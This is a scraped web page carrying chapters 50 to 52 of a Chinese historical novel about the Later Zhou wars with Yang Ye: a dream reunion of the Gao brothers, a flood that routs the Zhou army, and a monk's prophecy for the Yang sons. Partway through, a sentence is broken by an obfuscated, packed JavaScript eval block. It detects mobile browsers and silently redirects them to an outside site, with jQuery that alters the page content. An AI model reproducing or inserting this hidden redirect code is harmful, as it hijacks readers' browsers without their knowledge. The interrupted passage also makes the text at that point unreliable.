刚转身,就看见营外起了大火,杨延朗和杨延昭带着兵杀了出来,挡住了去路。郑恩挥着铁棍,杀了几个杨家兵,可杨家兵越来越多,他的胳膊被刀划了一下,疼得直咧嘴。 就在这时候,赵匡胤带着骑兵冲了进来,大喊:“三弟,快跟我走!” 郑恩跟着赵匡胤往外冲,刚出营门,又撞见了王贵带着兵杀过来。两边打了起来,周兵死伤大半,赵匡胤和郑恩好不容易才冲出去。可没跑多远,又看见前面起了大火——杨怀亮和杨延德带着兵,把周营给劫了! 周兵没了营寨,只好往回跑,杨家兵追了十里地才回去。赵匡胤和郑恩停下来,清点人数,两千士兵只剩下几百人,两人都叹了口气,只好先扎下临时营寨。 第二天一早,赵匡胤和郑恩带着残兵去见柴荣,把劫营中计的事说了一遍。柴荣听了,气得拍了桌子:“杨业太嚣张了!我亲自带兵去,跟他决一死战!” 立刻下令,让所有将领带着兵,往金锁关方向走。走到汾水原的时候,柴荣下令扎营,准备跟杨业打仗。 再说杨怀亮,自从劫了周营回来,心里一直不太踏实。这天夜里,他趴在桌子上睡着了,梦见自己小时候,母亲抱着他,说:“怀亮,你要记住,杨家是忠良之家,可忠良也要分清是非,不能帮错人。”接着,他又梦见自己跟高怀德打仗,高怀德看着他说:“你本是好将,为什么要帮北汉?周世宗是明主,你该跟他才对。” 杨怀亮想解释,可怎么也说不出话来,一下子惊醒了,浑身都是冷汗。他坐在那里,心里犯嘀咕:“这梦是什么意思?难道我真的帮错人了?” 正是: 悲欢离合从天定,祸福安危怎自由。 到底杨怀亮这梦预示着什么,高怀德能不能从铁笼原里出来,咱们下回再说。 51. 第 51 章 话说杨怀亮奉了杨业的命令,带着自己部下的士兵到了铁笼原,和冯益一起守着谷口。两人各自扎了营寨,营寨之间能互相照应,就等着把高怀德困死在谷里,好立下这份大功。 这天,杨怀亮因为连着几天没歇好,累得趴在桌案上想眯一会儿。刚合上眼没多会儿,就见营外走进一个人来——那人头戴金色的襆头,身穿绣着白龙的袍子,气度威严,稳稳地站在他面前,开口就喊:“怀亮儿,你怎么连骨肉都分不清了?帮着外姓人害自己的亲兄弟!” 杨怀亮猛一抬头,看清来人,心里“咯噔”一下——不是别人,正是他爹高行周啊!他“扑通”一声跪倒在地,声音都发颤:“爹!您怎么来了?孩儿从小就跟您和哥哥分开,这么多年没见,如今在杨令公帐下做了义子,连给您尽孝都做不到,这都是孩儿的错啊!可孩儿从没帮着别人害自己人,您这话到底是怎么回事?” 高行周叹了口气,语气沉了下来:“别的先不说,你就说这铁笼原里被困的人,你真不知道是谁?” 杨怀亮愣了愣,挠了挠头:“谷里被困的那人,孩儿确实不知道他名字,可他是敌国的兵啊,被困也是应该的,您提他做什么?” “就这人,你要是伤了他,就是亲手害了自己的亲兄弟!”高行周说完,转身就往外走。 杨怀亮急得直跺脚,连忙追上去喊:“爹!您等等!孩儿还有话问您啊!”喊了好几声,高行周却没回头,脚步不停,转眼就出了营帐。杨怀亮拔腿就追,可追到营外,连个人影都没见着。他鼻子一酸,忍不住放声大哭,哭着哭着,猛地醒了过来——桌上的烛火还亮着,帐外传来巡逻士兵打更的声音,已经是三更天了。 杨怀亮坐在椅子上,半天没缓过神来。他手指无意识地摩挲着桌案上的兵符,脑子里乱糟糟的:这梦也太怪了,爹明明说谷里的人是我亲兄弟,可我就一个哥哥,叫高怀德啊!他不是应该在家好好待着,要么就在爹的衙门里帮忙吗?怎么会跑到这铁笼原里当俘虏?再说,要是爹真来托梦,难道……难道爹已经不在人世了? 他越想越乱,又想起前几天和谷里那人交手的情景:那人的武艺是真高,枪术耍得又快又准,当时就觉得他的脸有点眼熟,像极了哥哥小时候的样子。可天下长得像的人多了,总不能凭一张脸就认亲吧?悔就悔在当时打得起劲,没来得及问他名字,现在想辨都没法辨。 “等等!”杨怀亮突然拍了下桌子,眼睛亮了——有了!明天晚上,我写封信射进谷里,让他回信报上名字。要是真的是哥哥,我就想办法救他;就算不是,也能弄清楚情况。这样一来,不仅能找着哥哥,还能问问爹娘的消息,岂不是两全其美? 拿定主意后,杨怀亮一夜没睡好,天刚擦黑,就躲在帐里悄悄写信。他怕被人看见,特意用了最细的毛笔,字写得又小又密,把自己的疑惑、对家人的牵挂都写在了纸上,最后还特意叮嘱:要是同胞兄弟,就把名字写上,别耽误了时机。 到了二更天,营里的士兵大多睡熟了,只有巡逻的人还在走动。杨怀亮把心腹军士陈忠叫了进来——陈忠是他刚参军时就跟着的人,为人机灵又可靠。杨怀亮把信递给陈忠,压低声音说:“你假装巡逻,把这信射进谷里,等着他回信。这事千万不能让第三个人知道,要是走漏了风声,咱们俩还有谷里的人,都得完蛋。” 陈忠接过信,心里有点发紧——这可是通敌的大罪啊!可他看杨怀亮眼里满是焦急和期盼,又想起平时杨怀亮待自己不薄,咬了咬牙:“将军放心,小的就是丢了命,也不会让这事出岔子!” 陈忠把信折成小方块,藏在腰带里,手里提着长枪,故意在营寨周围绕了一圈,还跟巡逻的士兵搭了几句话,装得跟平常一样。等走到谷口僻静的山坡下,他左右看了看,确认没人,才赶紧爬上土坡。他从怀里掏出信,用绳子牢牢绑在箭杆上,又把箭头拔了——怕伤着谷里的人。搭弓、拉弦,“嗖”的一声,箭带着信就飞进了谷里。 谷里的士兵正靠在石头上打盹,听见“咻”的一声,抬头就看见一支箭插在不远处的草地上。他走过去拔起来,看见箭上绑着纸,赶紧拿着去找高怀德。 高怀德正坐在帐篷里发愁——粮食快吃完了,再等下去,不用敌人打,自己人就得饿死。他接过箭上的信,借着朦胧的月色展开,一看落款“鄂州高怀亮”,手猛地一抖,眼泪“唰”就下来了。他摸著信上的字迹,越看越觉得眼熟——这笔画的走势,跟弟弟怀亮小时候写的字一模一样! 高怀德赶紧摸出随身携带的笔墨——还是出征前妻子亲手给他装的,他颤抖着笔,在信的背面写道:“我是鄂州高怀德,奉命来讨伐叛军,如今被困在这谷里,粮食早就没了,情况危急得很。没想到老天让你来了,能救我一命,这是多大的福气啊!我就把名字写在这,你赶紧想办法,咱们见面了再细说,盼着你快来!” 写好后,他把信重新绑在箭上,走到陈忠射箭的方向,用力把箭射了出去。陈忠在坡上等着,听见箭响,赶紧跑过去捡起来,揣在怀里就往回跑,连巡逻的样子都顾不上装了。 杨怀亮在帐里坐立不安,听见帐帘响动,赶紧站起来。陈忠把信递给他,他拆开一看,看见“高怀德”三个字,眼泪再也忍不住,掉在信纸上,把字都晕开了:“要是没做那个梦,我差点就让哥哥死在这儿了!”他重重赏了陈忠,又把陈忠打发走,自己拿着信,连夜就去找冯益。 第二天一早,杨怀亮拿着信,红着眼圈对冯益说:“总管,我爹高行周,就生了我和哥哥两个儿子。现在我哥哥怀德被困在谷里,昨天晚上我梦见我爹,才知道这事。求您帮我想个办法,救我哥哥出来,我这辈子都记着您的恩!要是救不出来,我就跟我哥哥一起死在谷里!” 冯益听了,“啪”地一拍桌子,站起来说:“我本来就是后周的人,当年是因为得罪了权贵,没办法才逃到山后投奔杨业的。现在既然是高将军的儿子有难,我怎么能不管?我跟你一起想办法,救了你哥哥,咱们一起回后周去!” 杨怀亮一听,赶紧跪下磕头:“总管要是肯帮忙,我和我哥哥就是做牛做马,也报答不了您!” 两人当下就商量起来:冯益先派人偷偷去周营报信,说好了晚上黄昏时分,以炮声为号,冯益在谷口撤兵,高怀德从谷里杀出来,两边夹击,一起冲出去。商量好后,冯益让人悄悄去周营送信,杨怀亮则回营里准备,让士兵们假装正常守卫,暗地里把兵器都磨亮了。 到了晚上,太阳刚落山,冯益就偷偷下令,把谷口的士兵都撤了下来,然后让人点燃了号炮。“轰隆”一声炮响,在山谷里传得老远。 高怀德在谷里听见炮声,知道是弟弟来了,立刻提着长枪,喊了一声:“兄弟们,跟我冲出去!”谷里的士兵早就憋坏了,一听这话,个个都像打了鸡血,跟着高怀德就往外杀。 冯益在谷口等着,看见高怀德出来,赶紧挥手:“高将军,这边走!”两拨人合在一起,杀向关口。 哨兵赶紧把消息报进关内,杨业一听,气得拍了桌子:“好个冯益!好个杨怀亮!我待他们不薄,居然敢叛我!”他立刻叫过杨延昭,让他带三千士兵,去把这两个人抓回来。 杨延昭领了命令,带着兵冲出关,正好撞见杨怀亮。杨延昭勒住马,眉头皱得紧紧的:“父亲把你当亲儿子一样待,对你恩重如山,你怎么能背叛他?” 杨怀亮心里也不好受,但还是握紧了鞭子:“我知道令公对我好,可哥哥是我亲骨肉,我不能看着他死。” 杨延昭气得脸色发青,挺枪就朝杨怀亮刺过来。杨怀亮赶紧舞鞭挡住,两人打了没几个回合,杨怀亮知道自己打不过杨延昭,也不想跟他纠缠,拨马就想走。 就在这时,南边突然冲过来一支人马,带头的正是郑恩。郑恩提着大刀,大喊一声:“杨延昭!别欺负我兄弟!”说着就冲上来帮忙。杨延昭一个人打不过两个人,渐渐落了下风。 冯益和高怀德趁机带着士兵冲过来,杨延昭的士兵被冲得七零八落,他没办法,只能带着剩下的人往回跑。 等天亮的时候,冯益、高怀德、杨怀亮带着人马,和周营的兵汇合了。周世宗柴荣见高怀德被救了出来,还多了冯益和杨怀亮两员大将,心里高兴得不得了,当场就封冯益为御营团练使,杨怀亮为副先锋。两人赶紧跪下谢恩。 高怀德拉着弟弟杨怀亮,给赵匡胤等将领一一介绍。赵匡胤笑着说:“前几天我也被困过,多亏了兄弟们帮忙才出来。咱们都是同朝为官的人,不用这么客气。现在你们兄弟能重逢,这可是因祸得福啊!今晚咱们在营里摆一桌,好好庆祝庆祝!” 将领们都附和着说“应该的”,当天晚上,营里摆了好几桌酒,大家喝得热热闹闹,直到半夜才散。 第二天一早,周世宗下命令:“所有将领都把营寨整顿好,咱们这就去攻打金锁关!”将领们领了命令,各自带着士兵,朝着金锁关发起了进攻,一时间,喊杀声震天动地。 杨业看着冯益和杨怀亮叛逃,心里又气又悔,可现在不是生气的时候——周兵打得正猛,金锁关随时可能被攻破。他赶紧把将领们叫到帐里,商量对策:“周兵攻城攻得这么急,你们有什么办法能打退他们?” 杨延昭站出来说:“爹,周兵扎了六座营寨,看样子是一定要拿下金锁关。而且赵匡胤、郑恩、张永德还有高家兄弟,都是能征善战的猛将,咱们要是跟他们硬拼,肯定讨不到好。依我看,咱们不如先不跟他们打,守住关口,等他们懈怠了,您再想个计策,就能轻松打败他们了。” 杨业一听,拍了下手:“我儿说得对!跟我想的一样!”他立刻下令,让所有士兵都守在关上,不许出战,不管周兵怎么骂阵,都不许开门。 就这么过了几天,杨业带着几个亲信,骑着马登上高处,观察周兵的营寨。他看见周兵的营寨排列得整整齐齐,士兵们个个精神抖擞,营寨就扎在汾水边上,兵势确实浩大。他又转头看了看龙川的水势——这几天老下雨,龙川的水涨得厉害,波浪滚滚,和汾水连在了一起。 杨业看了一会儿,突然笑了:“周兵这下完了,他们已经落在我手里了!” 回到帐里,杨业把王贵等将领叫过来,说:“周兵有十几万,用不了几天,就得全军覆没在我手里。” 将领们都愣了,王贵忍不住问:“将军,您怎么知道的?” 杨业摸着胡子说:“他们连地形都没搞清楚,怎么能不败?” 将领们还是半信半疑,可也不敢多问。当时正是八月初,天已经凉了,还连着下了好几天雨,雨越下越大。杨业让人赶紧准备船只和防水的工具,又派了不少士兵去加固各个水闸。 杨延昭有点纳闷,问:“爹,咱们是在陆地上打仗,准备这些船和防水的东西干什么?” 杨业笑了笑:“用兵的道理,不是你能轻易明白的。兵法上说,军队要是驻扎在不利的地方,又赶上不好的天气,逆天而行,肯定会失败。现在雨下得这么大,汾水肯定会暴涨。我让你们准备船和防水工具,是为了加固水闸——等水涨得差不多了,咱们就把水闸打开,到时候大水冲下去,周兵不都成了鱼鳖了吗?” 杨延昭听了,赶紧跪下磕头:“爹,您真是太厉害了!这计策,儿子想都想不出来!” 再说周营这边,因为连着下雨,营里到处都是积水,士兵们的衣服、被子都湿透了,一个个愁眉苦脸的。赵匡胤心里不安,赶紧去见周世宗:“陛下,咱们的营寨扎在汾水边上,地势太低了。现在龙川的水已经涨得很高了,又连着下雨,要是杨业学三国时关羽决水的计策,咱们的士兵可就危险了!” 周世宗叹了口气:“我也正担心这事,可还没找到办法。”他立刻让人把军师王朴请来,商量对策。 王朴进来后,脸色凝重地说:“陛下,我昨晚观天象,看见杀气都聚在咱们营里,这对大军很不利啊!您赶紧下令把营寨移到高处,说不定还能躲过这场灾祸。” 王朴的话还没说完,就听见帐外传来“轰隆隆”的声音,像是成千上万的马在跑,又像是千军万马在敲鼓,声音越来越近,越来越响,震得帐子都在晃。 周世宗吓得赶紧站起来,冲出帐外,翻身上马。这时候,四面八方的大水已经涌了过来,波浪滔天,雨下得更大了。将领们想找船来救兵,可已经来不及了——转眼间,营里的积水就涨了好几尺。士兵们慌得四处乱跑,有的被水冲走,有的掉进水里淹死,到处都是惨叫声。 赵匡胤赶紧护着周世宗,往高处跑。刚跑没多远,就看见杨业和他的儿子们各自驾着快船,摇着旗,敲着鼓,朝这边过来。杨业看见周世宗沿着岸边跑,立刻弃船登岸,带着士兵追了上来。 赵匡胤气得大吼一声,挥着刀,骑着马冲上去,挡住杨业:“杨业!别想伤害陛下!”两人打了起来,刚打了几个回合,王贵又骑着马冲了过来,帮杨业一起打赵匡胤。 赵匡胤一个人对付两个人,渐渐有点吃力。就在这时,郑恩、张永德、高怀德带着人杀了过来。他们看见杨业的人多,知道硬拼不行,赶紧护着周世宗先跑。赵匡胤还在跟杨业、王贵打,打了一会儿,知道自己打不过,拨马就想走。 杨业怎么肯放过他,拍着马就追了上去。赵匡胤骑着马,慌慌张张地跑,刚跑过龙川坝,就因为地上全是泥,马蹄一滑,连人带马掉进了沼泽里。 杨业赶上来,举起金刀,就朝赵匡胤砍下去。可就在这时,“轰隆”一声雷响,赵匡胤的头顶上突然冒出一道金光,一条真龙从金光里钻了出来,伸开爪子,一把抓住了杨业的金刀——金刀怎么也砍不下去了。 杨业吓得手都软了,心里直打鼓:这赵匡胤是真命天子啊!我可不能伤了他,不然会遭天谴的。 就在杨业愣神的时候,赵匡胤骑的赤兔马突然发出一道红光,猛地从沼泽里跳了出来,站在了岸上。赵匡胤赶紧拉住缰绳,刚想继续跑,却看见杨业勒住马,把刀放了下来,不但不追,还开口说:“你等等!前面的路是死路,不好走。你往南边跑,那边有大路。今天我不杀你,你要记住这份恩。”说完,杨业拨转马头,回去了。 后来有人写了首诗,说的就是这事: 秋天里英雄们争战不休,打完仗后战场上的硝烟才散去。 骏马陷进沼泽又跳了出来,帝王的威风盖过了天下。 赵匡胤掉进沼泽里的时候,脑子一片空白,只觉得眼前一黑,等他反应过来,马已经站在岸上了。他看见杨业放了自己,心里又纳闷又感激,也来不及多想,拍着马往南边跑。 跑了没多远,就看见一支人马朝自己过来,带头的正是郑恩。郑恩因为没看见赵匡胤,心里着急,特意带着人来找他。两人见面后,赶紧沿着岸边往南走。一路上,到处都是洪水,周兵的营寨全被淹了,能活下来的士兵还不到两万。 后来有人写了首诗,感叹这场灾难: 无数的马像潮水一样奔逃,一时间士兵们都被洪水冲走了。 可惜啊,河边有那么多白骨,还带着冤屈的哭声,随着洪水的浪涛翻滚。 将领们护着周世宗,退到了几十里外的地方,才扎下营寨,清点士兵。周世宗发现赵匡胤和郑恩不见了,心里慌得不行,正要派人去找,就见两人回来了。周世宗这才松了口气,赶紧让他们坐下休息。 过了一会儿,跟着出征的文官、武将和士兵们,也渐渐聚集了过来。周世宗看着手下的人少了一大半,气得浑身发抖:“几天前就有征兆,我还没明白是怎么回事,没想到今天真的出事了!真是可恨!” 王朴赶紧劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519316|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“陛下,这都是天数,躲不过的。再说,胜败是兵家常事,您别太着急,要是伤了身体,可就不好了。” 周世宗咬着牙说:“我一定要跟杨业决一死战,报仇雪恨!” 赵匡胤站起来说:“陛下,不行啊!咱们的士兵折损了大半,粮食也不够了,士兵们已经没有打仗的心思了。您要是非要跟杨业打,肯定会吃亏的。不如咱们先班师回朝,等以后有机会再回来。刘崇就像锅里的鱼,跑不了的!” 周世宗也知道,现在军队士气低落,根本打不了仗,只能点了点头,同意了赵匡胤的建议。他先派人去忻州,偷偷把岳元福的人马调回来,然后下命令班师回朝。士兵们一听要回家,个个都很高兴,赶紧收拾东西,准备出发。 岳元福进帐对周世宗说:“陛下,进兵容易退兵难啊!杨家和刘崇关系好,势力不小,要是他们知道咱们要退军,偷偷派兵来追,咱们可就麻烦了。依我看,您可以派几员大将断后,防止他们追来,您带着前军慢慢退,这样就安全了。” 周世宗听了,觉得很有道理,立刻下令:让高怀德、杨怀亮、冯益三人当先锋,带着前军先走;郑恩、岳元福、马全义带着重兵断后;自己则和赵匡胤、张永德、符彦卿、王朴、史魁等将领,带着宿卫军队走在中间。当天,周兵就把营寨烧了,开始往回走。 再说杨业,用洪水打败了周兵,心里很高兴。没过多久,哨兵来报,说周兵已经拔营退走了。杨五郎杨延德站出来说:“爹,周兵已经吓破胆了,我愿意带一支轻骑兵去追,一定把周世宗抓回来,给您献功!” 杨业摇了摇头:“不行。兵法上说,不要去袭击撤退的军队,也不要去追走投无路的敌人。我看周兵里有不少有本事的将领,他们虽然退了,但肯定会派强将断后。你要是去追,说不定会中他们的计。” 杨延德听了,只好作罢。 杨业打败了周兵,赶紧派人去给刘崇报捷。刘崇接到消息,叹了口气:“要是高平之战的时候能有杨业帮忙,我怎么会打那么惨的败仗啊!”他立刻派丁贵带着羊肉、美酒、金银绸缎,去杨业的营里犒劳士兵。 杨业接过赏赐,赶紧分给了手下的将领和士兵,大家都很高兴。第二天,杨业跟着丁贵进了城,去见刘崇。刘崇拉着杨业的手,笑着说:“辛苦你了,你帮我打败了周兵,给我争了不少面子啊!” 杨业赶紧说:“这都是托大王的福,还有将领们出力,我没什么功劳,不敢受您这么夸奖。” 刘崇听了,更高兴了,立刻让人摆了宴席,招待杨业。当天,两人喝得很尽兴,直到很晚才散席。 杨业谢过刘崇,准备离开的时候,又忍不住说:“大王,契丹人狡猾得很,不能跟他们走太近。要是把府库里的东西都送给他们,他们永远不会满足,到最后,大王的国家就会空了啊!” 刘崇点了点头:“你说得对。”他又赏了杨业不少金银珠宝,杨业谢过恩,才离开皇宫。 第二天,杨业下令拔营回兵。士兵们打了胜仗,又得了赏赐,个个都精神抖擞,一路上,马鞭敲着马镫,唱着凯歌,走得很顺利。 没几天,军队就到了五台山附近。杨业对王贵说:“五台山有个智聪长老,精通禅理,还能知道过去未来的事。我早就想跟他见一面,一直没机会。现在正好路过,我想跟你一起去拜访他,你看怎么样?” 王贵笑着说:“我也早就听说这位长老会看相,您要是去,我肯定陪您一起去!” 杨业就让军队在山脚下扎营,自己带着王贵,还有七个儿子,后面跟着十几个骑兵,一起上了山。当时刚过中秋,连着下了几天的雨,刚放晴,山上的空气很清新。远远望去,山色朦胧,云彩飘在半山腰,寺庙的楼台高耸,悬崖峭壁很是雄伟,正像两句古诗说的: 晴天里,阳光照在断裂的石壁上;夕阳下,松树边的亭子被染成了暖色。 杨业带着众人上了山,到了寺庙门口,下了马。抬头一看,山门上挂着一块匾额,上面刻着“五台禅寺”四个大字。杨业让人先去寺里通报,说自己来拜访智聪长老。 没一会儿,智聪长老就亲自出来迎接了。一行人跟着长老进了山门,走过几座大殿,到了方丈室。互相见了礼,分主客坐下。小沙弥慧能端着茶进来,给每个人都倒了一杯。 长老喝了口茶,笑着问:“不知杨将军大驾光临,有什么事要指教我?” 杨业站起来,拱了拱手:“我是太原人,叫杨业,字继业,是个武将。这次是来救河东的危难,打了胜仗回来,路过这里。早就听说长老能看透祸福,知道人的命运,所以特意来拜访您,想问问我的前程,求您指点迷津,千万别瞒着我。” 智聪长老点了点头:“早就听说杨将军的大名,今天能见到您,是我的福气啊!” 杨业让人把带来的礼物拿出来——十两黄金,两匹紵丝,递给长老。智聪长老赶紧推辞:“将军太客气了,我是出家人,用不上这些东西,您还是收回去吧。” 杨业笑着说:“这只是一点小意思,表达我对您的敬意,您就别推辞了。”说完,让慧能把礼物收了起来。 杨业又接着说:“求长老给我看看,我以后的日子会怎么样。” 长老想了想,说:“将军是当今的栋梁之才,天下少有的英雄,现在能在帐中谋划计策,以后也会名留青史,这些还用我说吗?” 杨业还是坚持:“求长老务必明说,我不会怪您的。” 长老叹了口气,让人拿来纸和笔,写了一首偈语: 立名无佞,建业天波。 辛勤劳苦,李陵荣枯。 写好后,递给杨业。杨业接过来看了半天,还是不明白是什么意思,又跪下求长老解释。 长老摇了摇头:“这是天机,以后自然会应验。将军只要按道理做事,以后的福气肯定少不了。” 杨业没办法,只好把偈语收好。他又把七个儿子叫过来,让智聪长老给他们看看相。 智聪长老挨个看了看,说:“都是能做栋梁的人才,我没什么好说的。” 杨业还是不放心:“长老有什么就说什么,我不会见怪的。” 长老笑了笑:“既然将军不怪我,那我就直说了。我看这七位小将军,都是忠心报国、勤劳为民的面相,可惜性子太刚直,不懂得变通,以后恐怕不能善终。七郎君的眼睛有点特别,要防备被箭伤到。只有六郎君的面相平和,能保住爵位和俸禄,可他这辈子会有很多忧愁,没什么快乐的时候,做什么事都不顺利,虽然能善终,却不能安稳地享受生活。我就说这么多,以后怎么样,还得看几位小将军自己能不能保重。希望将军不要怪我多嘴。” 杨业听了,反而拍手大笑:“大丈夫能死在战场上,是福气啊!有什么好计较的!” 这时候,天已经黑了,智聪长老让人准备了素斋,招待杨业一行人。大家坐在桌子旁,聊着自己的经历,说着心里的抱负,聊得很开心,一直喝到半夜,才在寺里住了下来。 其他人都睡熟了,只有杨五郎杨延德翻来覆去睡不着。他白天听了智聪长老的话,心里又害怕又焦虑,怎么也平静不下来。他索性披了件衣服,起来想去找智聪长老,求长老给个能避开灾祸的办法。 杨延德轻轻推开房门,沿着走廊往方丈室走。路过禅房的时候,听见里面传来智聪长老念经的声音,声音平和,让他心里稍微平静了一点。他站在门口,犹豫了一会儿,才轻轻敲了敲门:“长老,我是杨延德,有件事想求您帮忙。” 里面的念经声停了,智聪长老的声音传了出来:“进来吧。” 杨延德推开门走了进去,不知道长老会怎么指点他,心里又紧张又期待。 到底智聪长老会对杨延德说什么,咱们下回再讲。 52. 第 52 章 话说杨延德白天听了智聪长老的相面之言,心里像压了块巨石,又沉又慌,连觉都睡不着。夜里等同住的兄弟们都发出了均匀的鼾声,他悄悄披上衣衫,蹑手蹑脚地起身——指尖刚碰到门帘,身后突然传来一声轻唤:“将军,您这是要去哪?” 杨延德回头,见是自己的贴身家将杨忠。这杨忠跟着他多年,性子沉稳,最是贴心。“我去方丈院见长老,”杨延德压低声音,眉头拧成一团,“白天长老说的话你也听见了,我实在放心不下,得去求他指条活路。” 杨忠犹豫了一下,上前帮他理了理衣襟:“夜里风大,将军多当心。只是长老若不肯松口,您也别太为难自己——咱们杨家儿郎,纵是有难,也不能失了骨气。” 杨延德点点头,没再多说,转身轻步走出客房。五台山的夜格外静,只有松涛声伴着月光洒在青石路上,他每走一步,心里的忧惧就深一分——他不是怕自己死,是怕万一真如长老所言,日后不能在父亲杨业身边尽孝,不能和兄弟们并肩作战,那才是最难受的。 到了方丈院,琉璃灯的光从窗纸透出来,隐约能看见智聪长老端坐在禅床上,双目微闭,像是在打坐。杨延德轻轻叩了叩门,里头传来长老温和的声音:“进来吧。” 他推门进去,见长老已经睁开眼,目光落在他身上,像是早知道他会来。“将军为何深夜不睡,特意到贫僧这里来?”智聪长老开口问道,指尖还捻着一串佛珠。 杨延德“扑通”一声跪下,双手撑地,声音带着几分颤抖:“长老,白天您说的话,我记在心里,实在安不下心。我杨延德没别的求,就求您发发慈悲,指一条生路给我——哪怕日后能保全尸首,不连累家人,我死了也会感激您的大恩。” 智聪长老叹了口气,缓缓摇头:“将军,这都是各人的造化,天命定了的事,贫僧怎么改得了?您这是找错人了。” 杨延德不肯起来,连着磕了三个头,额头都碰得发红:“长老,我知道天命难违,但求您哪怕给我一点提示,我也认了。我杨家世代忠良,若我真有劫难,我认;可我不能让父亲和兄弟们为我担心啊!” 长老见他眼神恳切,不像是装出来的,沉默了片刻,终于开口:“既然将军心意这么诚,贫僧就破例一次。要想活命,别的法子没有,只有‘高飞远举’四个字——离开官场,躲到山林里去,别再管世间的事,别再被尘俗牵绊,这样或许能保全性命。” 杨延德心里一沉——他早就想到过“归隐”,可真要让他离开父亲和兄弟,哪有那么容易?“长老,这法子是好,可我和父亲、兄弟们骨肉相连,要是真分开了,我心里实在不安……”他话没说完,声音就低了下去。 智聪长老从禅床旁取出一个小皮匣,递到他面前:“贫僧知道你孝悌,所以早为你备了这个。这里面是天机,你千万不能泄露,平时也不许打开看——只有遇到天大的难处,走投无路的时候,才能打开,里面有救你的法子。记住,不到万不得已,千万别动它。” 杨延德双手接过皮匣,触手冰凉,却像是握住了一线希望。他又磕了个头,这才站起身,心里的石头总算落了一半——哪怕日后真有难,至少还有个指望。他捧着皮匣,轻轻退出去,走回客房时,脚步都比来时轻快了些。 有诗为证: 前程玄机被点透,智者怜他早醒悟。 若不是当年肯听劝,将军怎会生出归隐心? 第二天一早,智聪长老让行童备好早饭,刚摆上桌,就见杨业带着几个儿子来辞行。长老想留他们再住一天,杨业说军营里还有事,实在耽搁不得,长老只好送他们到山门口。一行人下了山,回了营寨,杨业立刻下令拔寨——大军离开五台山,朝着应州的方向去了,这里暂且不表。 再说契丹主,之前把兵马驻扎在忻州,见周朝的军队拦着路,一直不敢前进。这天早上,他正坐在帐里发愁,突然有探子来报:“大王,周兵都撤了!不知道是怎么回事。” 契丹主愣了一下,赶紧派人去细查。过了半天,探子回来禀报:“是北汉的刘崇,召了山后杨家的兵,用水淹了周军,周兵才退走的。” 契丹主听完,忍不住点头:“杨家的计谋果然厉害,难怪能退了周兵。”正说着,帐外又来报,说刘崇派了官员来,还带了不少金珠宝贝,要请他撤兵回契丹。 契丹主见了财宝,眼睛都亮了——本来他就不想在这耗着,现在有好处拿,自然乐意。他收下礼物,当即下令拔营,带着人马回了契丹。 另一边,周世宗柴荣收兵回了京城,先去宫里给太后请了安。从这以后,朝廷的大事小事,他都亲自打理,哪里有漏洞就补哪里,哪里百姓受苦就派人去救济,朝野上下都很高兴。他想起这次出征,赵匡胤等人立了大功,该给他们封爵,好报答他们的功劳。 于是世宗让人统计功劳大小,按功劳定爵位高低:都虞候赵匡胤升为南宋王,郑恩封为汝南王,高怀德、张光远、罗彦威、张永德都封为列侯;岳元福、马全义、符彥卿年纪大了,封为节度使,派去外地镇守,不用上朝;冯益、史魁、高怀亮等人封为御林軍都督;还把王朴升为丞相,改年号为显德。 除此之外,世宗还赐给王侯们各自的宅第,那些还没选好家将的,也让他们自己挑人来充实府里。大臣们都跪下来谢恩,然后各自退下。 这时高怀亮拉着哥哥高怀德的袖子,声音有点哽咽:“哥,咱们爹娘……到底怎么样了?” 高怀德叹了口气,拍了拍他的肩膀——他知道弟弟一直记挂着父母,之前打仗没时间说,现在总算有机会了。“爹当年在潼关战死了,”他声音放低,怕弟弟难过,“娘还在老家,我已经让人去打听了,过些日子就接她来京城。” 高怀亮一听,眼泪立刻掉了下来——他之前总做噩梦,梦见父亲浑身是血地叫他,现在才知道那梦是真的。他蹲在地上,双手捂着脸哭,肩膀一抽一抽的:“我还以为……还以为爹能等着我回来……” 旁边高怀德的家仆老高也红了眼,上前递了块帕子:“二公子,别太伤心了——老将军在天有灵,见您现在有出息,也会高兴的。” 高怀德扶着弟弟站起来:“别哭了,咱们现在好好做事,让娘以后享清福,就是对爹最好的报答。”高怀亮点点头,擦了擦眼泪,心里暗暗发誓,一定要好好孝敬母亲。 过了几天,世宗上朝,文武百官行完礼,南宋王赵匡胤从队伍里走出来,跪在丹墀下奏道:“陛下,汝南王郑恩之前在陶家庄定了一门亲,女方是陶三春,至今还没成婚。臣恳请陛下恩准,让他们早日完婚,臣等也替郑恩高兴。” 世宗一听,来了兴趣,身子往前探了探:“三御弟这门亲事,什么时候下的聘?谁做的媒?女方家在什么地方?” 赵匡胤把事情从头到尾说了一遍:“是臣做的媒。之前在百铃关,臣护送太后的御驾回京,路上驻扎的时候,郑恩怕热,去陶家庄的园子里偷瓜,结果被陶三春打了一顿。臣见陶三春武艺高强,还懂点兵法,就做主给他们做了媒,定下了这门亲事。” 世宗听完,忍不住笑了起来,扶着龙椅差点没坐稳,旁边的太监赶紧上前扶了一把。“姻缘都是天定的,这两人倒也般配,”世宗笑着说,“御弟你做媒,真是选对人了。”说完,就传旨让汝南王郑恩上殿。 太监尖着嗓子喊:“万岁爷有旨,宣汝南王上殿!” 下面传来一声粗声粗气的回答:“领旨!” 世宗坐在龙椅上往下看,见郑恩从丹墀下走上来——他穿的衣服和以前完全不一样:头上戴的是三尖光溜帽,身上穿的是八卦团花袄,腰里系着金镶玉带,脚上蹬着粉底乌靴,走起路来倒也有几分官员的样子。 可谁不知道郑恩是个粗人?以前跟着赵匡胤在关西闯荡的时候,喝酒闹事、惹是生非是家常便饭,后来还是赵匡胤逼着他学礼仪,他才改了点坏毛病,知道点规矩。但要是赶时间,还是容易出错——就像现在,他走到世宗面前,只磕了三个头,就站起来了。 世宗心里暗暗好笑:“这粗人连礼仪都没学全,居然也当了王爷。不过比起以前,倒是强多了。”他嘴上没说,只是传旨让郑恩坐下。 